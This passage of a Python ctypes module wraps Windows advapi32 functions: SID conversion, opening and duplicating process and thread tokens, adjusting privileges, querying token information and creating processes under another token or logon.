__in_opt LPCTSTR lpSystemName, # __in PSID lpSid, # __out_opt LPTSTR lpName, # __inout LPDWORD cchName, # __out_opt LPTSTR lpReferencedDomainName, # __inout LPDWORD cchReferencedDomainName, # __out PSID_NAME_USE peUse # ); def LookupAccountSidA(lpSystemName, lpSid): _LookupAccountSidA = windll.advapi32.LookupAccountSidA _LookupAccountSidA.argtypes = [LPSTR, PSID, LPSTR, LPDWORD, LPSTR, LPDWORD, LPDWORD] _LookupAccountSidA.restype = bool cchName = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountSidA(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpName = ctypes.create_string_buffer('', cchName + 1) lpReferencedDomainName = ctypes.create_string_buffer('', cchReferencedDomainName + 1) success = _LookupAccountSidA(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return lpName.value, lpReferencedDomainName.value, peUse.value def LookupAccountSidW(lpSystemName, lpSid): _LookupAccountSidW = windll.advapi32.LookupAccountSidW _LookupAccountSidW.argtypes = [LPSTR, PSID, LPWSTR, LPDWORD, LPWSTR, LPDWORD, LPDWORD] _LookupAccountSidW.restype = bool cchName = DWORD(0) cchReferencedDomainName = DWORD(0) peUse = DWORD(0) _LookupAccountSidW(lpSystemName, lpSid, None, byref(cchName), None, byref(cchReferencedDomainName), byref(peUse)) error = GetLastError() if error != ERROR_INSUFFICIENT_BUFFER: raise ctypes.WinError(error) lpName = ctypes.create_unicode_buffer(u'', cchName.value + 1) lpReferencedDomainName = ctypes.create_unicode_buffer(u'', cchReferencedDomainName.value + 1) success = _LookupAccountSidW(lpSystemName, lpSid, lpName, byref(cchName), lpReferencedDomainName, byref(cchReferencedDomainName), byref(peUse)) if not success: raise ctypes.WinError() return lpName.value, lpReferencedDomainName.value, peUse.value LookupAccountSid = GuessStringType(LookupAccountSidA, LookupAccountSidW) # BOOL ConvertSidToStringSid( # __in PSID Sid, # __out LPTSTR *StringSid # ); def ConvertSidToStringSidA(Sid): _ConvertSidToStringSidA = windll.advapi32.ConvertSidToStringSidA _ConvertSidToStringSidA.argtypes = [PSID, POINTER(LPSTR)] _ConvertSidToStringSidA.restype = bool _ConvertSidToStringSidA.errcheck = RaiseIfZero pStringSid = LPSTR() _ConvertSidToStringSidA(Sid, byref(pStringSid)) try: StringSid = pStringSid.value finally: LocalFree(pStringSid) return StringSid.decode() def ConvertSidToStringSidW(Sid): _ConvertSidToStringSidW = windll.advapi32.ConvertSidToStringSidW _ConvertSidToStringSidW.argtypes = [PSID, POINTER(LPWSTR)] _ConvertSidToStringSidW.restype = bool _ConvertSidToStringSidW.errcheck = RaiseIfZero pStringSid = LPWSTR() _ConvertSidToStringSidW(Sid, byref(pStringSid)) try: StringSid = pStringSid.value finally: LocalFree(pStringSid) return StringSid ConvertSidToStringSid = DefaultStringType(ConvertSidToStringSidA, ConvertSidToStringSidW) # BOOL WINAPI ConvertStringSidToSid( # __in LPCTSTR StringSid, # __out PSID *Sid # ); def ConvertStringSidToSidA(StringSid): _ConvertStringSidToSidA = windll.advapi32.ConvertStringSidToSidA _ConvertStringSidToSidA.argtypes = [LPSTR, PVOID] _ConvertStringSidToSidA.restype = bool _ConvertStringSidToSidA.errcheck = RaiseIfZero Sid = PVOID() _ConvertStringSidToSidA(StringSid, ctypes.pointer(Sid)) return Sid.value def ConvertStringSidToSidW(StringSid): _ConvertStringSidToSidW = windll.advapi32.ConvertStringSidToSidW _ConvertStringSidToSidW.argtypes = [LPWSTR, PVOID] _ConvertStringSidToSidW.restype = bool _ConvertStringSidToSidW.errcheck = RaiseIfZero Sid = PVOID() _ConvertStringSidToSidW(StringSid, ctypes.pointer(Sid)) return Sid.value ConvertStringSidToSid = GuessStringType(ConvertStringSidToSidA, ConvertStringSidToSidW) # BOOL WINAPI IsValidSid( # __in PSID pSid # ); def IsValidSid(pSid): _IsValidSid = windll.advapi32.IsValidSid _IsValidSid.argtypes = [PSID] _IsValidSid.restype = bool return _IsValidSid(pSid) # BOOL WINAPI EqualSid( # __in PSID pSid1, # __in PSID pSid2 # ); def EqualSid(pSid1, pSid2): _EqualSid = windll.advapi32.EqualSid _EqualSid.argtypes = [PSID, PSID] _EqualSid.restype = bool return _EqualSid(pSid1, pSid2) # DWORD WINAPI GetLengthSid( # __in PSID pSid # ); def GetLengthSid(pSid): _GetLengthSid = windll.advapi32.GetLengthSid _GetLengthSid.argtypes = [PSID] _GetLengthSid.restype = DWORD return _GetLengthSid(pSid) # BOOL WINAPI CopySid( # __in DWORD nDestinationSidLength, # __out PSID pDestinationSid, # __in PSID pSourceSid # ); def CopySid(pSourceSid): _CopySid = windll.advapi32.CopySid _CopySid.argtypes = [DWORD, PVOID, PSID] _CopySid.restype = bool _CopySid.errcheck = RaiseIfZero nDestinationSidLength = GetLengthSid(pSourceSid) DestinationSid = ctypes.create_string_buffer('', nDestinationSidLength) pDestinationSid = ctypes.cast(ctypes.pointer(DestinationSid), PVOID) _CopySid(nDestinationSidLength, pDestinationSid, pSourceSid) return ctypes.cast(pDestinationSid, PSID) # PVOID WINAPI FreeSid( # __in PSID pSid # ); def FreeSid(pSid): _FreeSid = windll.advapi32.FreeSid _FreeSid.argtypes = [PSID] _FreeSid.restype = PSID _FreeSid.errcheck = RaiseIfNotZero _FreeSid(pSid) # BOOL WINAPI OpenProcessToken( # __in HANDLE ProcessHANDLE, # __in DWORD DesiredAccess, # __out PHANDLE TokenHandle # ); def OpenProcessToken(ProcessHANDLE, DesiredAccess = TOKEN_ALL_ACCESS): _OpenProcessToken = windll.advapi32.OpenProcessToken _OpenProcessToken.argtypes = [HANDLE, DWORD, PHANDLE] _OpenProcessToken.restype = bool _OpenProcessToken.errcheck = RaiseIfZero NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _OpenProcessToken(ProcessHANDLE, DesiredAccess, byref(NewTokenHandle)) return TokenHandle(NewTokenHandle.value) # BOOL WINAPI OpenThreadToken( # __in HANDLE ThreadHANDLE, # __in DWORD DesiredAccess, # __in BOOL OpenAsSelf, # __out PHANDLE TokenHandle # ); def OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf = True): _OpenThreadToken = windll.advapi32.OpenThreadToken _OpenThreadToken.argtypes = [HANDLE, DWORD, BOOL, PHANDLE] _OpenThreadToken.restype = bool _OpenThreadToken.errcheck = RaiseIfZero NewTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _OpenThreadToken(ThreadHANDLE, DesiredAccess, OpenAsSelf, byref(NewTokenHandle)) return TokenHandle(NewTokenHandle.value) # BOOL WINAPI DuplicateToken( # _In_ HANDLE ExistingTokenHandle, # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, # _Out_ PHANDLE DuplicateTokenHandle # ); def DuplicateToken(ExistingTokenHandle, ImpersonationLevel = SecurityImpersonation): _DuplicateToken = windll.advapi32.DuplicateToken _DuplicateToken.argtypes = [HANDLE, SECURITY_IMPERSONATION_LEVEL, PHANDLE] _DuplicateToken.restype = bool _DuplicateToken.errcheck = RaiseIfZero DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _DuplicateToken(ExistingTokenHandle, ImpersonationLevel, byref(DuplicateTokenHandle)) return TokenHandle(DuplicateTokenHandle.value) # BOOL WINAPI DuplicateTokenEx( # _In_ HANDLE hExistingToken, # _In_ DWORD dwDesiredAccess, # _In_opt_ LPSECURITY_ATTRIBUTES lpTokenAttributes, # _In_ SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, # _In_ TOKEN_TYPE TokenType, # _Out_ PHANDLE phNewToken # ); def DuplicateTokenEx(hExistingToken, dwDesiredAccess = TOKEN_ALL_ACCESS, lpTokenAttributes = None, ImpersonationLevel = SecurityImpersonation, TokenType = TokenPrimary): _DuplicateTokenEx = windll.advapi32.DuplicateTokenEx _DuplicateTokenEx.argtypes = [HANDLE, DWORD, LPSECURITY_ATTRIBUTES, SECURITY_IMPERSONATION_LEVEL, TOKEN_TYPE, PHANDLE] _DuplicateTokenEx.restype = bool _DuplicateTokenEx.errcheck = RaiseIfZero DuplicateTokenHandle = HANDLE(INVALID_HANDLE_VALUE) _DuplicateTokenEx(hExistingToken, dwDesiredAccess, lpTokenAttributes, ImpersonationLevel, TokenType, byref(DuplicateTokenHandle)) return TokenHandle(DuplicateTokenHandle.value) # BOOL WINAPI IsTokenRestricted( # __in HANDLE TokenHandle # ); def IsTokenRestricted(hTokenHandle): _IsTokenRestricted = windll.advapi32.IsTokenRestricted _IsTokenRestricted.argtypes = [HANDLE] _IsTokenRestricted.restype = bool _IsTokenRestricted.errcheck = RaiseIfNotErrorSuccess SetLastError(ERROR_SUCCESS) return _IsTokenRestricted(hTokenHandle) # BOOL WINAPI LookupPrivilegeValue( # __in_opt LPCTSTR lpSystemName, # __in LPCTSTR lpName, # __out PLUID lpLuid # ); def LookupPrivilegeValueA(lpSystemName, lpName): _LookupPrivilegeValueA = windll.advapi32.LookupPrivilegeValueA _LookupPrivilegeValueA.argtypes = [LPSTR, LPSTR, PLUID] _LookupPrivilegeValueA.restype = bool _LookupPrivilegeValueA.errcheck = RaiseIfZero lpLuid = LUID() if not lpSystemName: lpSystemName = None _LookupPrivilegeValueA(lpSystemName, lpName, byref(lpLuid)) return lpLuid def LookupPrivilegeValueW(lpSystemName, lpName): _LookupPrivilegeValueW = windll.advapi32.LookupPrivilegeValueW _LookupPrivilegeValueW.argtypes = [LPWSTR, LPWSTR, PLUID] _LookupPrivilegeValueW.restype = bool _LookupPrivilegeValueW.errcheck = RaiseIfZero lpLuid = LUID() if not lpSystemName: lpSystemName = None _LookupPrivilegeValueW(lpSystemName, lpName, byref(lpLuid)) return lpLuid LookupPrivilegeValue = GuessStringType(LookupPrivilegeValueA, LookupPrivilegeValueW) # BOOL WINAPI LookupPrivilegeName( # __in_opt LPCTSTR lpSystemName, # __in PLUID lpLuid, # __out_opt LPTSTR lpName, # __inout LPDWORD cchName # ); def LookupPrivilegeNameA(lpSystemName, lpLuid): _LookupPrivilegeNameA = windll.advapi32.LookupPrivilegeNameA _LookupPrivilegeNameA.argtypes = [LPSTR, PLUID, LPSTR, LPDWORD] _LookupPrivilegeNameA.restype = bool _LookupPrivilegeNameA.errcheck = RaiseIfZero cchName = DWORD(0) _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), NULL, byref(cchName)) lpName = ctypes.create_string_buffer("", cchName.value) _LookupPrivilegeNameA(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName)) return lpName.value def LookupPrivilegeNameW(lpSystemName, lpLuid): _LookupPrivilegeNameW = windll.advapi32.LookupPrivilegeNameW _LookupPrivilegeNameW.argtypes = [LPWSTR, PLUID, LPWSTR, LPDWORD] _LookupPrivilegeNameW.restype = bool _LookupPrivilegeNameW.errcheck = RaiseIfZero cchName = DWORD(0) _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), NULL, byref(cchName)) lpName = ctypes.create_unicode_buffer(u"", cchName.value) _LookupPrivilegeNameW(lpSystemName, byref(lpLuid), byref(lpName), byref(cchName)) return lpName.value LookupPrivilegeName = GuessStringType(LookupPrivilegeNameA, LookupPrivilegeNameW) # BOOL WINAPI AdjustTokenPrivileges( # __in HANDLE TokenHandle, # __in BOOL DisableAllPrivileges, # __in_opt PTOKEN_PRIVILEGES NewState, # __in DWORD BufferLength, # __out_opt PTOKEN_PRIVILEGES PreviousState, # __out_opt PDWORD ReturnLength # ); def AdjustTokenPrivileges(TokenHandle, NewState = ()): _AdjustTokenPrivileges = windll.advapi32.AdjustTokenPrivileges _AdjustTokenPrivileges.argtypes = [HANDLE, BOOL, LPVOID, DWORD, LPVOID, LPVOID] _AdjustTokenPrivileges.restype = bool # # I don't know how to allocate variable sized structures in ctypes :( # so this hack will work by using always TOKEN_PRIVILEGES of one element # and calling the API many times. This also means the PreviousState # parameter won't be supported yet as it's too much hassle. In a future # version I look forward to implementing this function correctly. # if not NewState: _AdjustTokenPrivileges.errcheck = RaiseIfZero _AdjustTokenPrivileges(TokenHandle, TRUE, NULL, 0, NULL, NULL) else: success = True errcode = 0 for (privilege, enabled) in NewState: if not isinstance(privilege, LUID): privilege = LookupPrivilegeValue(NULL, privilege) if enabled == True: flags = SE_PRIVILEGE_ENABLED elif enabled == False: flags = SE_PRIVILEGE_REMOVED elif enabled == None: flags = 0 else: flags = enabled laa = LUID_AND_ATTRIBUTES(privilege, flags) tp = TOKEN_PRIVILEGES(1, laa) if _AdjustTokenPrivileges(TokenHandle, FALSE, byref(tp), sizeof(tp), NULL, NULL) == 0: success = False errcode = GetLastError() if not success: raise ctypes.WinError(errcode) # BOOL WINAPI GetTokenInformation( # __in HANDLE TokenHandle, # __in TOKEN_INFORMATION_CLASS TokenInformationClass, # __out_opt LPVOID TokenInformation, # __in DWORD TokenInformationLength, # __out PDWORD ReturnLength # ); def GetTokenInformation(hTokenHandle, TokenInformationClass): if TokenInformationClass <= 0 or TokenInformationClass > MaxTokenInfoClass: raise ValueError("Invalid value for TokenInformationClass (%i)" % TokenInformationClass) # User SID. if TokenInformationClass == TokenUser: TokenInformation = TOKEN_USER() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.User.Sid.value # Owner SID. if TokenInformationClass == TokenOwner: TokenInformation = TOKEN_OWNER() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.Owner.value # Primary group SID. if TokenInformationClass == TokenOwner: TokenInformation = TOKEN_PRIMARY_GROUP() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.PrimaryGroup.value # App container SID. if TokenInformationClass == TokenAppContainerSid: TokenInformation = TOKEN_APPCONTAINER_INFORMATION() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.TokenAppContainer.value # Integrity level SID. if TokenInformationClass == TokenIntegrityLevel: TokenInformation = TOKEN_MANDATORY_LABEL() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.Label.Sid.value, TokenInformation.Label.Attributes # Logon session LUID. if TokenInformationClass == TokenOrigin: TokenInformation = TOKEN_ORIGIN() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.OriginatingLogonSession # Primary or impersonation token. if TokenInformationClass == TokenType: TokenInformation = TOKEN_TYPE(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Elevated token. if TokenInformationClass == TokenElevation: TokenInformation = TOKEN_ELEVATION(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Security impersonation level. if TokenInformationClass == TokenElevation: TokenInformation = SECURITY_IMPERSONATION_LEVEL(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Session ID and other DWORD values. if TokenInformationClass in (TokenSessionId, TokenAppContainerNumber): TokenInformation = DWORD(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation.value # Various boolean flags. if TokenInformationClass in (TokenSandBoxInert, TokenHasRestrictions, TokenUIAccess, TokenVirtualizationAllowed, TokenVirtualizationEnabled): TokenInformation = DWORD(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return bool(TokenInformation.value) # Linked token. if TokenInformationClass == TokenLinkedToken: TokenInformation = TOKEN_LINKED_TOKEN(0) _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenHandle(TokenInformation.LinkedToken.value, bOwnership = True) # Token statistics. if TokenInformationClass == TokenStatistics: TokenInformation = TOKEN_STATISTICS() _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation) return TokenInformation # TODO add a class wrapper? # Currently unsupported flags. raise NotImplementedError("TokenInformationClass(%i) not yet supported!" % TokenInformationClass) def _internal_GetTokenInformation(hTokenHandle, TokenInformationClass, TokenInformation): _GetTokenInformation = windll.advapi32.GetTokenInformation _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] _GetTokenInformation.restype = bool _GetTokenInformation.errcheck = RaiseIfZero ReturnLength = DWORD(0) TokenInformationLength = sizeof(TokenInformation) _GetTokenInformation(hTokenHandle, TokenInformationClass, byref(TokenInformation), TokenInformationLength, byref(ReturnLength)) if ReturnLength.value != TokenInformationLength: raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER) return TokenInformation def GetTokenInformation_sid(hTokenHandle): """ The original function wasn't working. this one returns the SID for the token """ _GetTokenInformation = windll.advapi32.GetTokenInformation _GetTokenInformation.argtypes = [HANDLE, TOKEN_INFORMATION_CLASS, LPVOID, DWORD, PDWORD] _GetTokenInformation.restype = bool _GetTokenInformation.errcheck = RaiseIfZero ReturnLength = DWORD(0) try: #getting the correct memory size _GetTokenInformation(hTokenHandle, 1, None, ReturnLength, byref(ReturnLength)) except Exception as e: pass TokenInformationLength = ReturnLength.value ReturnLength = DWORD(0) ti = (BYTE * TokenInformationLength)() _GetTokenInformation(hTokenHandle, 1, byref(ti), TokenInformationLength, byref(ReturnLength)) if ReturnLength.value != TokenInformationLength: raise ctypes.WinError(ERROR_INSUFFICIENT_BUFFER) t = ctypes.cast(ti, POINTER(TOKEN_USER)).contents return t.User.Sid # BOOL WINAPI SetTokenInformation( # __in HANDLE TokenHandle, # __in TOKEN_INFORMATION_CLASS TokenInformationClass, # __in LPVOID TokenInformation, # __in DWORD TokenInformationLength # ); # XXX TODO # BOOL WINAPI CreateProcessWithLogonW( # __in LPCWSTR lpUsername, # __in_opt LPCWSTR lpDomain, # __in LPCWSTR lpPassword, # __in DWORD dwLogonFlags, # __in_opt LPCWSTR lpApplicationName, # __inout_opt LPWSTR lpCommandLine, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCWSTR lpCurrentDirectory, # __in LPSTARTUPINFOW lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInfo # ); def CreateProcessWithLogonW(lpUsername = None, lpDomain = None, lpPassword = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None): _CreateProcessWithLogonW = windll.advapi32.CreateProcessWithLogonW _CreateProcessWithLogonW.argtypes = [LPWSTR, LPWSTR, LPWSTR, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessWithLogonW.restype = bool _CreateProcessWithLogonW.errcheck = RaiseIfZero if not lpUsername: lpUsername = None if not lpDomain: lpDomain = None if not lpPassword: lpPassword = None if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpStartupInfo: lpStartupInfo = STARTUPINFOW() lpStartupInfo.cb = sizeof(STARTUPINFOW) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessWithLogonW(lpUsername, lpDomain, lpPassword, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessWithLogonA = MakeANSIVersion(CreateProcessWithLogonW) CreateProcessWithLogon = DefaultStringType(CreateProcessWithLogonA, CreateProcessWithLogonW) # BOOL WINAPI CreateProcessWithTokenW( # __in HANDLE hToken, # __in DWORD dwLogonFlags, # __in_opt LPCWSTR lpApplicationName, # __inout_opt LPWSTR lpCommandLine, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCWSTR lpCurrentDirectory, # __in LPSTARTUPINFOW lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInfo # ); def CreateProcessWithTokenW(hToken = None, dwLogonFlags = 0, lpApplicationName = None, lpCommandLine = None, dwCreationFlags = 0, lpEnvironment = None, lpCurrentDirectory = None, lpStartupInfo = None): _CreateProcessWithTokenW = windll.advapi32.CreateProcessWithTokenW _CreateProcessWithTokenW.argtypes = [HANDLE, DWORD, LPWSTR, LPWSTR, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessWithTokenW.restype = bool _CreateProcessWithTokenW.errcheck = RaiseIfZero if not hToken: hToken = None if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpStartupInfo: lpStartupInfo = STARTUPINFOW() lpStartupInfo.cb = sizeof(STARTUPINFOW) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessWithTokenW(hToken, dwLogonFlags, lpApplicationName, lpCommandLine, dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessWithTokenA = MakeANSIVersion(CreateProcessWithTokenW) CreateProcessWithToken = DefaultStringType(CreateProcessWithTokenA, CreateProcessWithTokenW) # BOOL WINAPI CreateProcessAsUser( # __in_opt HANDLE hToken, # __in_opt LPCTSTR lpApplicationName, # __inout_opt LPTSTR lpCommandLine, # __in_opt LPSECURITY_ATTRIBUTES lpProcessAttributes, # __in_opt LPSECURITY_ATTRIBUTES lpThreadAttributes, # __in BOOL bInheritHANDLEs, # __in DWORD dwCreationFlags, # __in_opt LPVOID lpEnvironment, # __in_opt LPCTSTR lpCurrentDirectory, # __in LPSTARTUPINFO lpStartupInfo, # __out LPPROCESS_INFORMATION lpProcessInformation # ); def CreateProcessAsUserA(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None): _CreateProcessAsUserA = windll.advapi32.CreateProcessAsUserA _CreateProcessAsUserA.argtypes = [HANDLE, LPSTR, LPSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessAsUserA.restype = bool _CreateProcessAsUserA.errcheck = RaiseIfZero if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_string_buffer(lpCommandLine.encode('ascii'), max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_string_buffer(lpEnvironment.encode('ascii')) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpProcessAttributes: lpProcessAttributes = None else: lpProcessAttributes = byref(lpProcessAttributes) if not lpThreadAttributes: lpThreadAttributes = None else: lpThreadAttributes = byref(lpThreadAttributes) if not lpStartupInfo: lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(STARTUPINFO) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessAsUserA(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation def CreateProcessAsUserW(hToken = None, lpApplicationName = None, lpCommandLine=None, lpProcessAttributes=None, lpThreadAttributes=None, bInheritHANDLEs=False, dwCreationFlags=0, lpEnvironment=None, lpCurrentDirectory=None, lpStartupInfo=None): _CreateProcessAsUserW = windll.advapi32.CreateProcessAsUserW _CreateProcessAsUserW.argtypes = [HANDLE, LPWSTR, LPWSTR, LPSECURITY_ATTRIBUTES, LPSECURITY_ATTRIBUTES, BOOL, DWORD, LPVOID, LPWSTR, LPVOID, LPPROCESS_INFORMATION] _CreateProcessAsUserW.restype = bool _CreateProcessAsUserW.errcheck = RaiseIfZero if not lpApplicationName: lpApplicationName = None if not lpCommandLine: lpCommandLine = None else: lpCommandLine = ctypes.create_unicode_buffer(lpCommandLine, max(MAX_PATH, len(lpCommandLine) + 1)) if not lpEnvironment: lpEnvironment = None else: lpEnvironment = ctypes.create_unicode_buffer(lpEnvironment) if not lpCurrentDirectory: lpCurrentDirectory = None if not lpProcessAttributes: lpProcessAttributes = None else: lpProcessAttributes = byref(lpProcessAttributes) if not lpThreadAttributes: lpThreadAttributes = None else: lpThreadAttributes = byref(lpThreadAttributes) if not lpStartupInfo: lpStartupInfo = STARTUPINFO() lpStartupInfo.cb = sizeof(STARTUPINFO) lpStartupInfo.lpReserved = 0 lpStartupInfo.lpDesktop = 0 lpStartupInfo.lpTitle = 0 lpStartupInfo.dwFlags = 0 lpStartupInfo.cbReserved2 = 0 lpStartupInfo.lpReserved2 = 0 lpProcessInformation = PROCESS_INFORMATION() lpProcessInformation.hProcess = INVALID_HANDLE_VALUE lpProcessInformation.hThread = INVALID_HANDLE_VALUE lpProcessInformation.dwProcessId = 0 lpProcessInformation.dwThreadId = 0 _CreateProcessAsUserW(hToken, lpApplicationName, lpCommandLine, lpProcessAttributes, lpThreadAttributes, bool(bInheritHANDLEs), dwCreationFlags, lpEnvironment, lpCurrentDirectory, byref(lpStartupInfo), byref(lpProcessInformation)) return lpProcessInformation CreateProcessAsUser = GuessStringType(CreateProcessAsUserA, CreateProcessAsUserW) # VOID CALLBACK WaitChainCallback( # HWCT WctHANDLE, # DWORD_PTR Context, # DWORD CallbackStatus, # LPDWORD NodeCount, # PWAITCHAIN_NODE_INFO NodeInfoArray, # LPBOOL IsCycle # ); PWAITCHAINCALLBACK = WINFUNCTYPE(HWCT, DWORD_PTR, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL) # HWCT WINAPI OpenThreadWaitChainSession( # __in DWORD Flags, # __in_opt PWAITCHAINCALLBACK callback # ); def OpenThreadWaitChainSession(Flags = 0, callback = None): _OpenThreadWaitChainSession = windll.advapi32.OpenThreadWaitChainSession _OpenThreadWaitChainSession.argtypes = [DWORD, PVOID] _OpenThreadWaitChainSession.restype = HWCT _OpenThreadWaitChainSession.errcheck = RaiseIfZero if callback is not None: callback = PWAITCHAINCALLBACK(callback) aHANDLE = _OpenThreadWaitChainSession(Flags, callback) return ThreadWaitChainSessionHANDLE(aHANDLE) # BOOL WINAPI GetThreadWaitChain( # _In_ HWCT WctHANDLE, # _In_opt_ DWORD_PTR Context, # _In_ DWORD Flags, # _In_ DWORD ThreadId, # _Inout_ LPDWORD NodeCount, # _Out_ PWAITCHAIN_NODE_INFO NodeInfoArray, # _Out_ LPBOOL IsCycle # ); def GetThreadWaitChain(WctHANDLE, Context = None, Flags = WCTP_GETINFO_ALL_FLAGS, ThreadId = -1, NodeCount = WCT_MAX_NODE_COUNT): _GetThreadWaitChain = windll.advapi32.GetThreadWaitChain _GetThreadWaitChain.argtypes = [HWCT, LPDWORD, DWORD, DWORD, LPDWORD, PWAITCHAIN_NODE_INFO, LPBOOL] _GetThreadWaitChain.restype = bool _GetThreadWaitChain.errcheck = RaiseIfZero dwNodeCount = DWORD(NodeCount) NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)() IsCycle = BOOL(0) _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle)) while dwNodeCount.value > NodeCount: NodeCount = dwNodeCount.value NodeInfoArray = (WAITCHAIN_NODE_INFO * NodeCount)() _GetThreadWaitChain(WctHANDLE, Context, Flags, ThreadId, byref(dwNodeCount), ctypes.cast(ctypes.pointer(NodeInfoArray), PWAITCHAIN_NODE_INFO), byref(IsCycle)) return ( [ WaitChainNodeInfo(NodeInfoArray[index]) for index in xrange(dwNodeCount.value) ], bool(IsCycle.value) ) # VOID WINAPI CloseThreadWaitChainSession( # __in HWCT WctHANDLE # ); def CloseThreadWaitChainSession(WctHANDLE): _CloseThreadWaitChainSession = windll.advapi32.CloseThreadWaitChainSession 